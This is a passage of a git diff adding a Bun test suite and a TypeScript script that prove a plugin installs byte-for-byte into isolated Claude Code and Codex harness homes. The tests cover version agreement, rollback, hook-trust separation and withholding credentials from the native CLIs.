+pluginPayloadInventory(root) function dryRun(harness: "claude" | "codex"): Record { const result = Bun.spawnSync({ diff --git a/scripts/prove-harness-install.test.ts b/scripts/prove-harness-install.test.ts new file mode 100644 index 0000000..a91b166 --- /dev/null +++ b/scripts/prove-harness-install.test.ts @@ -0,0 +1,459 @@ +import { + chmodSync, + cpSync, + existsSync, + mkdirSync, + mkdtempSync, + readFileSync, + rmSync, + writeFileSync, +} from "node:fs" +import { tmpdir } from "node:os" +import { join, resolve } from "node:path" + +import { afterAll, beforeAll, expect, test } from "bun:test" + +import { + admitGitTransport, + assertReplacementAdmission, + codexHookTrustEvidence, + copyMarketplaceDistribution, + hostedMarketplaceSources, + nativeHarnessEnvironment, + proveHarnessInstall, + redactTemporaryEvidencePath, +} from "./prove-harness-install" +import { + CLAUDE_DISABLED_BY_DEFAULT_COMPATIBILITY, + type PluginConfig, + writeGeneratedFiles, +} from "./plugin-config" + +const root = resolve(import.meta.dir, "..") +let proof: ReturnType +const claudeNativeTest = Bun.which("claude") ? test : test.skip +const codexNativeTest = Bun.which("codex") ? test : test.skip + +beforeAll(() => { + proof = proveHarnessInstall(root) +}, 60_000) + +afterAll(() => { + if (proof?.temporaryRoot) rmSync(proof.temporaryRoot, { recursive: true, force: true }) +}) + +test("public marketplace distribution excludes repository source and configuration", () => { + const temporaryRoot = mkdtempSync(join(tmpdir(), "public-marketplace-distribution-")) + try { + copyMarketplaceDistribution(root, temporaryRoot) + expect(existsSync(join(temporaryRoot, "plugin", ".codex-plugin", "plugin.json"))).toBe(true) + expect(existsSync(join(temporaryRoot, ".claude-plugin", "marketplace.json"))).toBe(true) + expect(existsSync(join(temporaryRoot, ".agents", "plugins", "marketplace.json"))).toBe(true) + expect(existsSync(join(temporaryRoot, "plugin.config.json"))).toBe(false) + expect(existsSync(join(temporaryRoot, "scripts"))).toBe(false) + expect(existsSync(join(temporaryRoot, "README.md"))).toBe(false) + } finally { + rmSync(temporaryRoot, { recursive: true, force: true }) + } +}) + +test("tagged payload installs byte-for-byte into isolated Claude and Codex caches", () => { + expect(proof.ok).toBe(true) + expect(proof.preflight.resolvedSha).toMatch(/^[a-f0-9]{40}$/) + expect(proof.claude.inventory).toEqual(proof.preflight.inventory) + expect(proof.codex.inventory).toEqual(proof.preflight.inventory) + for (const relativePath of proof.preflight.inventory) { + const taggedBytes = readFileSync(`${proof.preflight.checkoutRoot}/plugin/${relativePath}`) + expect(readFileSync(`${proof.claude.activeCachePath}/${relativePath}`)).toEqual(taggedBytes) + expect(readFileSync(`${proof.codex.installedPath}/${relativePath}`)).toEqual(taggedBytes) + } +}) + +test("both isolated harness installs report the tagged manifest version", () => { + expect(proof.claude.version).toBe(proof.preflight.manifestVersion) + expect(proof.codex.version).toBe(proof.preflight.manifestVersion) + expect(proof.targetPreflight.requestedRef).not.toBe(proof.preflight.requestedRef) + expect(proof.restorationPreflight).toEqual(proof.preflight) + expect(proof.versionAgreement).toBe(true) +}) + +test("release proof requires both native harness CLIs", () => { + const packageJson = JSON.parse(readFileSync(join(root, "package.json"), "utf8")) + expect(packageJson.scripts["prove:harness-install"]).toBe( + "bun run scripts/prove-harness-install.ts", + ) + expect(packageJson.scripts["prove:all"]).toContain("prove:harness-install -- --require-native") +}) + +test("native harness commands receive no publication credentials", () => { + const environment = nativeHarnessEnvironment({ + PATH: "/usr/bin:/bin", + HOME: "/tmp/home", + SSH_AUTH_SOCK: "/tmp/agent.sock", + GH_TOKEN: "secret", + GITHUB_TOKEN: "secret", + CANARY_GH_TOKEN: "secret", + CANARY_SSH_PRIVATE_KEY: "secret", + RELEASE_PLEASE_TOKEN: "secret", + }) + + expect(environment).toEqual({ + PATH: "/usr/bin:/bin", + HOME: "/tmp/home", + SSH_AUTH_SOCK: "/tmp/agent.sock", + }) + expect(JSON.stringify(environment)).not.toContain("secret") +}) + +test.each([ + "git@github.com:myagentdojo/private-canary.git", + "https://github.com/myagentdojo/private-canary.git", +] as const)("hosted native installs preserve the proven Git remote %s", (remote) => { + const ref = `candidate/${"a".repeat(40)}` + expect(hostedMarketplaceSources(remote, ref)).toEqual({ + claude: `${remote}#${ref}`, + codex: remote, + ref, + }) +}) + +test("strict CLI fails closed instead of reporting fixture-copy qualification", () => { + const result = Bun.spawnSync({ + cmd: [process.execPath, "run", "scripts/prove-harness-install.ts", "--require-native", "--json"], + cwd: root, + env: { ...process.env, PATH: "/usr/bin:/bin" }, + stdout: "pipe", + stderr: "pipe", + }) + + expect(result.exitCode).toBe(1) + expect(result.stderr.toString()).toContain("native harness CLIs are required") +}) + +test("default CLI also fails closed when native CLIs are unavailable", () => { + const result = Bun.spawnSync({ + cmd: [process.execPath, "run", "scripts/prove-harness-install.ts", "--json"], + cwd: root, + env: { ...process.env, PATH: "/usr/bin:/bin" }, + stdout: "pipe", + stderr: "pipe", + }) + + expect(result.exitCode).toBe(1) + expect(result.stderr.toString()).toContain("native harness CLIs are required") +}) + +test("strict CLI checks native CLIs before fixture Git work", () => { + const executableRoot = mkdtempSync(join(tmpdir(), "harness-native-path-")) + const gitMarker = join(executableRoot, "git-called") + const gitExecutable = join(executableRoot, "git") + writeFileSync(gitExecutable, `#!/bin/sh\n: > ${JSON.stringify(gitMarker)}\nexit 99\n`) + chmodSync(gitExecutable, 0o755) + try { + const result = Bun.spawnSync({ + cmd: [ + process.execPath, + "run", + "scripts/prove-harness-install.ts", + "--require-native", + "--json", + ], + cwd: root, + env: { ...process.env, PATH: executableRoot }, + stdout: "pipe", + stderr: "pipe", + }) + + expect(result.exitCode).toBe(1) + expect(result.stderr.toString()).toContain("native harness CLIs are required") + expect(existsSync(gitMarker)).toBe(false) + } finally { + rmSync(executableRoot, { recursive: true, force: true }) + } +}) + +test("CLI rejects conflicting native proof modes as usage", () => { + const result = Bun.spawnSync({ + cmd: [ + process.execPath, + "run", + "scripts/prove-harness-install.ts", + "--require-native", + "--allow-fixture-copy", + "--json", + ], + cwd: root, + stdout: "pipe", + stderr: "pipe", + }) + + expect(result.exitCode).toBe(2) + expect(result.stderr.toString()).toContain( + "--require-native cannot be combined with --allow-fixture-copy", + ) +}) + +test("cleaned CLI evidence redacts direct and macOS-aliased temporary paths", () => { + const temporaryRoot = "/var/folders/example/harness-install-proof-abc" + expect(redactTemporaryEvidencePath(`${temporaryRoot}/codex/home`, temporaryRoot)).toBe( + "[cleaned temporary evidence: codex/home]", + ) + expect( + redactTemporaryEvidencePath( + "/private/var/folders/example/harness-install-proof-abc/codex/home", + temporaryRoot, + ), + ).toBe("[cleaned temporary evidence: codex/home]") +}) + +test("cleaned CLI proof reports that temporary evidence was removed", () => { + const result = Bun.spawnSync({ + cmd: [ + process.execPath, + "run", + "scripts/prove-harness-install.ts", + "--allow-fixture-copy", + "--json", + ], + cwd: root, + env: { ...process.env, PATH: "/usr/bin:/bin" }, + stdout: "pipe", + stderr: "pipe", + }) + + expect(result.exitCode, result.stderr.toString()).toBe(0) + expect(JSON.parse(result.stdout.toString())).toMatchObject({ + ok: true, + evidenceRetained: false, + }) +}, 60_000) + +claudeNativeTest("AE6: Claude native scopes preserve state (Claude CLI required; fallback proves bytes)", () => { + expect(proof.claude.mode).toBe("native-local-marketplace") + expect(proof.claude.scopes.map((entry: { scope: string }) => entry.scope)).toEqual([ + "user", + "project", + "local", + ]) + for (const scope of proof.claude.scopes) { + expect(scope.initialVersion).toBe(proof.preflight.manifestVersion) + expect(scope.upgradedVersion).toBe(proof.targetPreflight.manifestVersion) + expect(scope.rolledBackVersion).toBe(proof.preflight.manifestVersion) + expect(scope.initialEnabled).toBe(false) + expect(scope.enabledAfterReview).toBe(true) + expect(scope.dataMarkerPreserved).toBe(true) + expect(scope.failureRestored).toBe(true) + } +}) + +claudeNativeTest("Claude host selects active cache (Claude CLI required; fallback proves bytes)", () => { + for (const scope of proof.claude.scopes) { + expect(scope.orphanedCacheIgnored).toBe(true) + expect(scope.activeCachePath).not.toContain("0.0.0-orphaned") + } + expect(proof.claude.requestedRef).toBe(proof.preflight.requestedRef) + expect(proof.claude.resolvedSha).toBe(proof.preflight.resolvedSha) +}) + +test("Claude default-disabled installation names the 2.1.154 compatibility boundary", () => { + expect(proof.claude.defaultEnabled).toBe(false) + expect(proof.claude.compatibility).toEqual(CLAUDE_DISABLED_BY_DEFAULT_COMPATIBILITY) + expect(proof.claude.compatibility.minimumVersion).toBe("2.1.154") + expect(proof.claude.compatibility.warning).toContain("Earlier Claude Code clients") +}) + +test("Git transport admission distinguishes local, SSH, HTTPS, and token-only inputs", () => { + expect(admitGitTransport({ source: "/tmp/repository", transport: "local" })).toEqual({ + source: "/tmp/repository", + transport: "local", + }) + expect(() => + admitGitTransport({ source: "git@example.invalid:owner/repo", transport: "ssh" }), + ).toThrow("accepted host keys") + expect(() => + admitGitTransport({ + source: "git@example.invalid:owner/repo", + transport: "ssh", + hostKeyAccepted: true, + }), + ).toThrow("agent-loaded key") + expect( + admitGitTransport({ + source: "git@example.invalid:owner/repo", + transport: "ssh", + hostKeyAccepted: true, + agentKeyLoaded: true, + }), + ).toMatchObject({ transport: "ssh" }) + expect(() => + admitGitTransport({ source: "https://example.invalid/owner/repo", transport: "https" }), + ).toThrow("credential helper") + expect( + admitGitTransport({ + source: "https://example.invalid/owner/repo", + transport: "https", + credentialHelperConfigured: true, + }), + ).toMatchObject({ transport: "https" }) + expect(() => + admitGitTransport({ + source: "https://example.invalid/owner/repo", + transport: "https", + tokenEnvironmentOnly: true, + }), + ).toThrow("token environment variables alone") +}) + +test("AE9: target and restoration preflight failures leave the active cache untouched", () => { + const activeRuntime = join(proof.codex.installedPath, "runtime", "hello-world.js") + const before = readFileSync(activeRuntime) + expect(() => + assertReplacementAdmission({ + target: proof.targetPreflight, + restoration: proof.preflight, + allowedRefs: [proof.preflight.requestedRef], + managed: false, + removable: true, + }), + ).toThrow("denied before mutation") + expect(() => + assertReplacementAdmission({ + target: { ...proof.targetPreflight, resolvedSha: "unresolved" }, + restoration: proof.preflight, + allowedRefs: [proof.preflight.requestedRef, proof.targetPreflight.requestedRef], + managed: false, + removable: true, + }), + ).toThrow("no proven commit") + expect(() => + assertReplacementAdmission({ + target: proof.targetPreflight, + restoration: { ...proof.preflight, manifestVersion: "9.9.9" }, + allowedRefs: [proof.preflight.requestedRef, proof.targetPreflight.requestedRef], + managed: false, + removable: true, + }), + ).toThrow("does not match inspected manifest") + expect(readFileSync(activeRuntime)).toEqual(before) +}) + +test("managed or non-removable Codex state blocks with administrator handoff", () => { + for (const state of [ + { managed: true, removable: true }, + { managed: false, removable: false }, + ]) { + expect(() => + assertReplacementAdmission({ + target: proof.targetPreflight, + restoration: proof.preflight, + allowedRefs: [proof.preflight.requestedRef, proof.targetPreflight.requestedRef], + ...state, + }), + ).toThrow("administrator handoff required") + } +}) + +codexNativeTest("Codex JSON records native state (Codex CLI required; fallback proves bytes)", () => { + expect(proof.codex.mode).toBe("native-local-marketplace") + expect(proof.codex.marketplaceIdentity).toBe("harness-native-plugin-prototype") + expect(proof.codex.configuredRef).toBe(proof.preflight.requestedRef) + expect(proof.codex.installedMarketplaceRoot).toBeTruthy() + expect(proof.codex.installedPath).toBeTruthy() + expect(proof.codex.version).toBe(proof.preflight.manifestVersion) + expect(proof.codex.enabled).toBe(true) + expect(proof.codex.installPolicy).toBe("AVAILABLE") + expect(proof.codex.authPolicy).toBe("ON_INSTALL") + const jsonEvidence = proof.codex.jsonEvidence + expect(jsonEvidence).not.toBeNull() + if (!jsonEvidence) throw new Error("native Codex proof omitted JSON evidence") + expect(jsonEvidence.marketplaceList.marketplaces).toHaveLength(1) + expect(jsonEvidence.pluginList.installed).toHaveLength(1) +}) + +codexNativeTest("Codex local refresh changes bytes (Codex CLI required; fallback proves bytes)", () => { + expect(proof.codex.marketplaceCacheVersion).toBe("local") + expect(proof.codex.localRefresh.bytesChanged).toBe(true) + expect(proof.codex.localRefresh.rolledBack).toBe(true) + expect(proof.codex.localRefresh.enabledStateRestored).toBe(true) + expect(proof.codex.localRefresh.failureRestored).toBe(true) +}) + +test("AE8: Codex plugin enablement and hook trust remain separate before interactive acceptance", () => { + expect(proof.codex.trust).toMatchObject({ + pluginEnabled: true, + hookDefinitionPresent: true, + hookTrusted: false, + preTrustExecution: "skipped", + separateFromEnablement: true, + }) +}) + +test("AE10: version and executable changes invalidate the prior exact hook definition", () => { + const before = codexHookTrustEvidence(join(proof.preflight.checkoutRoot, "plugin")) + const after = codexHookTrustEvidence(join(proof.targetPreflight.checkoutRoot, "plugin")) + + expect(before.version).not.toBe(after.version) + expect(before.command).toContain(`--plugin-version ${before.version}`) + expect(after.command).toContain(`--plugin-version ${after.version}`) + expect(before.definitionHash).not.toBe(after.definitionHash) + expect(before.executableClosureHash).not.toBe(after.executableClosureHash) + expect(proof.trustDefinitionChanged).toBe(true) +}) + +test.each([ + "bin/hello-world", + "runtime/hello-world.js", + "runtime/qjs-darwin-arm64", + "runtime/qjs-darwin-x86_64", + "runtime/qjs-linux-aarch64", + "runtime/qjs-linux-x86_64", +] as const)("AE10: changing only %s under a new version changes trust evidence", (changedPath) => { + const variantRoot = join(proof.temporaryRoot, "closure-variants", changedPath.replaceAll("/", "-")) + cpSync(join(proof.preflight.checkoutRoot, "plugin"), join(variantRoot, "plugin"), { + recursive: true, + }) + mkdirSync(join(variantRoot, ".claude-plugin"), { recursive: true }) + mkdirSync(join(variantRoot, ".agents", "plugins"), { recursive: true }) + const config = JSON.parse( + readFileSync(join(root, "plugin.config.json"), "utf8"), + ) as PluginConfig + config.version = proof.targetPreflight.manifestVersion + writeGeneratedFiles(variantRoot, config) + const changedFile = join(variantRoot, "plugin", changedPath) + writeFileSync(changedFile, Buffer.concat([readFileSync(changedFile), Buffer.from("u6-change")])) + + const before = codexHookTrustEvidence(join(proof.preflight.checkoutRoot, "plugin")) + const after = codexHookTrustEvidence(join(variantRoot, "plugin")) + expect(after.command).toContain(`--plugin-version ${config.version}`) + expect(after.definitionHash).not.toBe(before.definitionHash) + expect(after.executableClosureHash).not.toBe(before.executableClosureHash) +}) + +test("payload inspection failure occurs before an active install can change", () => { + const fixtureRoot = join(proof.temporaryRoot, "unsafe-payload") + const pluginRoot = join(fixtureRoot, "plugin") + mkdirSync(pluginRoot, { recursive: true }) + mkdirSync(join(pluginRoot, "empty")) + const activeBytes = readFileSync(join(proof.claude.activeCachePath, "runtime", "hello-world.js")) + expect(() => proveHarnessInstall(fixtureRoot)).toThrow( + 'unsafe plugin payload entry "plugin/empty": empty directory', + ) + expect(readFileSync(join(proof.claude.activeCachePath, "runtime", "hello-world.js"))).toEqual( + activeBytes, + ) +}) + +test.skip( + "interactive Codex /hooks acceptance proves exact-definition trust (requires a human interactive task)", + () => {}, +) + +test.skip( + "private SSH/HTTPS fetch and background refresh use real credentials (hermetic proof never accesses private remotes)", + () => {}, +) + +test.skip( + "hosted Git marketplace fresh task runs the selected hook (requires live model access)", + () => {}, +) diff --git a/scripts/prove-harness-install.ts b/scripts/prove-harness-install.ts new file mode 100644 index 0000000..29ff197 --- /dev/null +++ b/scripts/prove-harness-install.ts @@ -0,0 +1,1277 @@ +import { createHash, randomUUID } from "node:crypto" +import { + cpSync, + existsSync, + lstatSync, + mkdirSync, + mkdtempSync, + readFileSync, + readdirSync, + rmSync, + statSync, + writeFileSync, +} from "node:fs" +import { tmpdir } from "node:os" +import { basename, dirname, join, relative, resolve, sep } from "node:path" + +import { + assertCodexReportedVersion, + proveCodexFixtureCopy as runCodexFixtureCopy, + proveCodexNative as runCodexNative, +} from "./harness-install-codex" +import { + provePostMutationRecovery, +} from "./harness-install-recovery" +import { copyPluginPayload, pluginPayloadInventory } from "./plugin-files" +import { + CLAUDE_DISABLED_BY_DEFAULT_COMPATIBILITY, + loadPluginConfig, + type PluginConfig, + writeGeneratedFiles, +} from "./plugin-config" + +const help = `Prove tagged plugin installation in isolated Claude and Codex homes. + +Usage: + bun run prove:harness-install [--require-native | --allow-fixture-copy] [--json] + bun run prove:harness-install --help + +Options: + --json Emit the proof report as JSON. This is also the default output. + --require-native Explicitly require both native CLIs (the default). + --allow-fixture-copy Development-only byte proof when native CLIs are unavailable. + -h, --help Show this help. + +Safety: + Creates only temporary Git fixtures and isolated harness homes. + Never reads or writes the operator's Claude or Codex plugin state. +` + +type HarnessMode = "native-local-marketplace" | "native-hosted-marketplace" | "fixture-copy" +type ClaudeScope = "user" | "project" | "local" + +export interface TaggedCheckout { + requestedRef: string + resolvedSha: string + checkoutRoot: string + manifestVersion: string + inventory: string[] +} + +export interface FixtureRelease { + repositoryRoot: string + base: TaggedCheckout + target: TaggedCheckout +} + +interface HarnessSkip { + case: string + reason: string +} + +interface CommandResult { + exitCode: number + stdout: string + stderr: string +} + +interface TransportInput { + source: string + transport: "local" | "ssh" | "https" + hostKeyAccepted?: boolean + agentKeyLoaded?: boolean + credentialHelperConfigured?: boolean + tokenEnvironmentOnly?: boolean +} + +export interface ReplacementAdmissionInput { + target: TaggedCheckout + restoration: TaggedCheckout + allowedRefs: string[] + managed: boolean + removable: boolean +} + +interface ClaudeInstall { + version: string + scope: ClaudeScope + enabled: boolean + activeCachePath: string +} + +interface ClaudeInstalledJson { + id: string + version: string + scope: ClaudeScope + enabled: boolean + installPath: string +} + +interface ClaudeScopeProof { + scope: ClaudeScope + initialVersion: string + initialEnabled: boolean + upgradedVersion: string + rolledBackVersion: string + enabledAfterReview: boolean + dataMarkerPreserved: boolean + failureRestored: boolean + orphanedCacheIgnored: boolean + activeCachePath: string +} + +interface ClaudeProof { + mode: HarnessMode + version: string + scope: ClaudeScope + enabled: boolean + activeCachePath: string + inventory: string[] + requestedRef: string + resolvedSha: string + defaultEnabled: false + compatibility: typeof CLAUDE_DISABLED_BY_DEFAULT_COMPATIBILITY + scopes: ClaudeScopeProof[] +} + +interface CodexInstalledPlugin { + pluginId: string + name: string + marketplaceName: string + version: string + installed: boolean + enabled: boolean + source: { source: string; path: string } + marketplaceSource: { sourceType: string; source: string } + installPolicy: string + authPolicy: string +} + +interface CodexMarketplaceAddJson { + marketplaceName: string + installedRoot: string + alreadyAdded: boolean +} + +interface CodexPluginAddJson { + pluginId: string + name: string + marketplaceName: string + version: string + installedPath: string + authPolicy: string +} + +interface CodexMarketplaceListJson { + marketplaces: Array<{ + name: string + root: string + marketplaceSource: { sourceType: string; source: string } + }> +} + +interface CodexPluginListJson { + installed: CodexInstalledPlugin[] + available: unknown[] +} + +export interface CodexInstallState { + marketplaceAdd: CodexMarketplaceAddJson + add: CodexPluginAddJson + marketplace: CodexMarketplaceListJson + list: CodexPluginListJson + plugin: CodexInstalledPlugin +} + +export interface CodexProof { + mode: HarnessMode + version: string + installedPath: string + inventory: string[] + requestedRef: string + resolvedSha: string + marketplaceIdentity: string + configuredSource: string + configuredRef: string + installedMarketplaceRoot: string + enabled: boolean + installPolicy: string + authPolicy: string + marketplaceCacheVersion: "local" + jsonEvidence: { + marketplaceAdd: CodexMarketplaceAddJson + marketplaceList: CodexMarketplaceListJson + pluginAdd: CodexPluginAddJson + pluginList: CodexPluginListJson + } | null + localRefresh: { + initialInstalledPath?: string + upgradedInstalledPath?: string + initialInventory?: string[] + upgradedInventory?: string[] + bytesChanged: boolean + rolledBack: boolean + enabledStateRestored: boolean + failureRestored: boolean + } + trust: { + pluginEnabled: boolean + hookDefinitionPresent: boolean + hookTrusted: false + preTrustExecution: "skipped" + separateFromEnablement: true + interactiveAcceptance: string + } +} + +interface HarnessInstallProof { + ok: true + runId: string + sideEffects: string + temporaryRoot: string + preflight: TaggedCheckout + targetPreflight: TaggedCheckout + restorationPreflight: TaggedCheckout + claude: ClaudeProof + codex: CodexProof + versionAgreement: true + trustDefinitionChanged: true + skips: HarnessSkip[] + nextAction: string +} + +export interface HarnessInstallProofOptions { + /** Require both real harness CLIs; fixture copies cannot qualify CI or release. */ + requireNative?: boolean +} + +interface NativeHarnessExecutables { + claude?: string + codex?: string +} + +/** Replace a temporary evidence path with an explicit cleaned marker, including macOS /var aliases. */ +export function redactTemporaryEvidencePath(value: unknown, temporaryRoot: string): unknown { + if (typeof value !== "string") return value + const directRelative = value.startsWith(temporaryRoot) ? relative(temporaryRoot, value) : undefined + const temporaryName = basename(temporaryRoot) + const aliasIndex = value.indexOf(temporaryName) + const aliasRelative = aliasIndex === -1 ? undefined : value.slice(aliasIndex + temporaryName.length + 1) + const evidencePath = directRelative ?? aliasRelative + return evidencePath === undefined ? value : `[cleaned temporary evidence: ${evidencePath}]` +} + +function command( + commandArguments: string[], + options: { cwd: string; env: Record }, +): CommandResult { + const result = Bun.spawnSync({ + cmd: commandArguments, + cwd: options.cwd, + env: options.env, + stdin: "ignore", + stdout: "pipe", + stderr: "pipe", + timeout: 15_000, + }) + const output = { + exitCode: result.exitCode, + stdout: result.stdout.toString(), + stderr: result.stderr.toString(), + } + if (output.exitCode !== 0) { + throw new Error( + `command failed (${commandArguments[0]} ${commandArguments.slice(1).join(" ")}): ${output.stderr || output.stdout}`, + ) + } + return output +} + +function jsonCommand( + commandArguments: string[], + options: { cwd: string; env: Record }, +): T { + const result = command(commandArguments, options) + try { + return JSON.parse(result.stdout) as T + } catch { + throw new Error( + `command returned unreadable JSON (${commandArguments[0]} ${commandArguments.slice(1).join(" ")})`, + ) + } +} + +function regularFiles(root: string): string[] { + const inventory: string[] = [] + function walk(directory: string): void { + for (const entry of readdirSync(directory).sort()) { + const absolutePath = join(directory, entry) + const relativePath = relative(root, absolutePath).split(sep).join("/") + const status = lstatSync(absolutePath) + if (status.isSymbolicLink()) throw new Error(`fixture entry is a symlink: ${relativePath}`) + if (status.isDirectory()) { + walk(absolutePath) + continue + } + if (!status.isFile()) throw new Error(`fixture entry is not a regular file: ${relativePath}`) + inventory.push(relativePath) + } + } + walk(root) + return inventory.sort() +} + +function gitEnvironment(indexPath?: string): Record { + return { + ...process.env, + GIT_AUTHOR_NAME: "Harness Install Proof", + GIT_AUTHOR_EMAIL: "proof@example.invalid", + GIT_AUTHOR_DATE: "2000-01-01T00:00:00Z", + GIT_COMMITTER_NAME: "Harness Install Proof", + GIT_COMMITTER_EMAIL: "proof@example.invalid", + GIT_COMMITTER_DATE: "2000-01-01T00:00:00Z", + GIT_INDEX_FILE: indexPath, + } +} + +function snapshotFixture(repositoryRoot: string, requestedRef: string, message: string): string { + const indexPath = join(repositoryRoot, `.fixture-index-${requestedRef}`) + const environment = gitEnvironment(indexPath) + rmSync(indexPath, { force: true }) + for (const relativePath of regularFiles(repositoryRoot).filter((path) => path !== ".git")) { + if (relativePath.startsWith(".git/")) continue + const absolutePath = join(repositoryRoot, relativePath) + const blob = command(["git", "hash-object", "-w", "--", absolutePath], { + cwd: repositoryRoot, + env: environment, + }).stdout.trim() + const mode = statSync(absolutePath).mode & 0o111 ? "100755" : "100644" + command(["git", "update-index", "--add", "--cacheinfo", `${mode},${blob},${relativePath}`], { + cwd: repositoryRoot, + env: environment, + }) + } + const tree = command(["git", "write-tree"], { cwd: repositoryRoot, env: environment }).stdout.trim() + const commit = command(["git", "commit-tree", tree, "-m", message], { + cwd: repositoryRoot, + env: environment, + }).stdout.trim() + command(["git", "update-ref", `refs/tags/${requestedRef}`, commit], { + cwd: repositoryRoot, + env: gitEnvironment(), + }) + rmSync(indexPath, { force: true }) + return commit +} + +function nextPatchVersion(version: string): string { + const match = /^(\d+)\.(\d+)\.(\d+)$/.exec(version) + if (!match) throw new Error(`fixture version must be a stable semantic version: ${version}`) + return `${match[1]}.${match[2]}.${Number(match[3]) + 1}` +} + +/** Copy only the installable plugin and marketplace metadata into a sanitized repository root. */ +export function copyMarketplaceDistribution(sourceRoot: string, repositoryRoot: string): void { + mkdirSync(repositoryRoot, { recursive: true }) + copyPluginPayload(sourceRoot, join(repositoryRoot, "plugin")) + for (const relativePath of [ + ".claude-plugin/marketplace.json", + ".agents/plugins/marketplace.json", + ]) { + const targetPath = join(repositoryRoot, relativePath) + mkdirSync(dirname(targetPath), { recursive: true }) + cpSync(join(sourceRoot, relativePath), targetPath) + } +} + +function writeFixtureSource(sourceRoot: string, repositoryRoot: string): PluginConfig { + copyMarketplaceDistribution(sourceRoot, repositoryRoot) + cpSync(join(sourceRoot, "plugin.config.json"), join(repositoryRoot, "plugin.config.json")) + return loadPluginConfig(repositoryRoot) +} + +function checkoutTaggedRelease( + repositoryRoot: string, + requestedRef: string, + checkoutsRoot: string, +): TaggedCheckout { + if (!/^v(?:0|[1-9]\d*)\.(?:0|[1-9]\d*)\.(?:0|[1-9]\d*)$/.test(requestedRef)) { + throw new Error(`requested ref must be an immutable stable version tag: ${requestedRef}`) + } + const resolvedSha = command( + ["git", "rev-parse", "--verify", `refs/tags/${requestedRef}^{commit}`], + { cwd: repositoryRoot, env: gitEnvironment() }, + ).stdout.trim() + if (!/^[a-f0-9]{40}$/.test(resolvedSha)) { + throw new Error(`requested ref did not resolve to a 40-character commit SHA: ${requestedRef}`) + } + const checkoutRoot = join(checkoutsRoot, requestedRef) + command(["git", "-c", "protocol.file.allow=always", "clone", "--quiet", "--no-checkout", repositoryRoot, checkoutRoot], { + cwd: checkoutsRoot, + env: gitEnvironment(), + }) + command(["git", "-c", "advice.detachedHead=false", "checkout", "--quiet", "--detach", resolvedSha], { + cwd: checkoutRoot, + env: gitEnvironment(), + }) + const head = command(["git", "rev-parse", "HEAD"], { + cwd: checkoutRoot, + env: gitEnvironment(), + }).stdout.trim() + if (head !== resolvedSha) throw new Error("detached checkout does not match the resolved tag SHA") + const claudeManifest = JSON.parse( + readFileSync(join(checkoutRoot, "plugin", ".claude-plugin", "plugin.json"), "utf8"), + ) + const codexManifest = JSON.parse( + readFileSync(join(checkoutRoot, "plugin", ".codex-plugin", "plugin.json"), "utf8"), + ) + if (claudeManifest.version !== codexManifest.version) { + throw new Error("tagged Claude and Codex manifest versions differ") + } + if (requestedRef !== `v${claudeManifest.version}`) { + throw new Error( + `immutable tag ${requestedRef} does not match manifest version ${claudeManifest.version}`, + ) + } + if (claudeManifest.defaultEnabled !== false) { + throw new Error("tagged Claude manifest must set defaultEnabled to false") + } + const claudeMarketplace = JSON.parse( + readFileSync(join(checkoutRoot, ".claude-plugin", "marketplace.json"), "utf8"), + ) + if (claudeMarketplace.plugins?.[0]?.defaultEnabled !== false) { + throw new Error("tagged Claude marketplace must set defaultEnabled to false") + } + return { + requestedRef, + resolvedSha, + checkoutRoot, + manifestVersion: claudeManifest.version, + inventory: pluginPayloadInventory(checkoutRoot), + } +} + +function createFixtureRelease(sourceRoot: string, temporaryRoot: string): FixtureRelease { + const repositoryRoot = join(temporaryRoot, "tagged-marketplace.git-fixture") + const config = writeFixtureSource(sourceRoot, repositoryRoot) + command(["git", "init", "--quiet"], { cwd: repositoryRoot, env: gitEnvironment() }) + const baseRef = `v${config.version}` + snapshotFixture(repositoryRoot, baseRef, `release ${baseRef}`) + + const targetConfig = structuredClone(config) + targetConfig.version = nextPatchVersion(config.version) + writeFileSync( + join(repositoryRoot, "plugin.config.json"), + `${JSON.stringify(targetConfig, null, 2)}\n`, + ) + writeGeneratedFiles(repositoryRoot, targetConfig) + const runtimePath = join(repositoryRoot, "plugin", "runtime", "hello-world.js") + writeFileSync( + runtimePath, + readFileSync(runtimePath, "utf8").replace( + `const PLUGIN_VERSION = "${config.version}";`, + `const PLUGIN_VERSION = "${targetConfig.version}";`, + ), + ) + const targetRef = `v${targetConfig.version}` + snapshotFixture(repositoryRoot, targetRef, `release ${targetRef}`) + + const checkoutsRoot = join(temporaryRoot, "detached") + mkdirSync(checkoutsRoot) + return { + repositoryRoot, + base: checkoutTaggedRelease(repositoryRoot, baseRef, checkoutsRoot), + target: checkoutTaggedRelease(repositoryRoot, targetRef, checkoutsRoot), + } +} + +function comparePayload(checkout: TaggedCheckout, installedPath: string): string[] { + const installedInventory = regularFiles(installedPath) + if (installedInventory.join("\n") !== checkout.inventory.join("\n")) { + throw new Error("installed payload inventory differs from tagged plugin inventory") + } + for (const relativePath of checkout.inventory) { + const taggedPath = join(checkout.checkoutRoot, "plugin", relativePath) + const installedFile = join(installedPath, relativePath) + if (!existsSync(installedFile) || !lstatSync(installedFile).isFile()) { + throw new Error(`installed payload entry is not a regular file: ${relativePath}`) + } + if (!readFileSync(installedFile).equals(readFileSync(taggedPath))) { + throw new Error(`installed payload bytes differ from tagged release: ${relativePath}`) + } + } + return installedInventory +} + +/** + * Build the minimal process environment native plugin CLIs need without forwarding credentials. + * + * @param environment - Parent process environment that may contain publication credentials + * @returns Allowlisted shell, locale, temporary-directory, and SSH-agent settings + * + * @example + * ```ts + * nativeHarnessEnvironment({ PATH: "/usr/bin", GH_TOKEN: "secret" }) + * ``` + */ +export function nativeHarnessEnvironment( + environment: Record, +): Record { + const allowed = [ + "PATH", + "HOME", + "USER", + "LOGNAME", + "SHELL", + "TMPDIR", + "TMP", + "TEMP", + "LANG", + "LC_ALL", + "SSH_AUTH_SOCK", + "SSH_AGENT_PID", + "GIT_SSH_COMMAND", + "GIT_CONFIG_GLOBAL", + "XDG_CONFIG_HOME", + "XDG_CACHE_HOME", + "XDG_DATA_HOME", + ] as const + return Object.fromEntries( + allowed.flatMap((name) => environment[name] === undefined ? [] : [[name, environment[name]]]), + ) +} + +function claudeEnvironment(home: string): Record { + return { ...nativeHarnessEnvironment(process.env), CLAUDE_CONFIG_DIR: home, CI: "1", NO_COLOR: "1" } +} + +function codexEnvironment(home: string): Record { + return { ...nativeHarnessEnvironment(process.env), CODEX_HOME: home, CI: "1", NO_COLOR: "1" } +} + +function findClaudeInstall( + claudeExecutable: string, + environment: Record, + cwd: string, + pluginId: string, + scope: ClaudeScope, +): ClaudeInstall { + const installed = jsonCommand([claudeExecutable, "plugin", "list", "--json"], { + cwd, + env: environment, + }) + 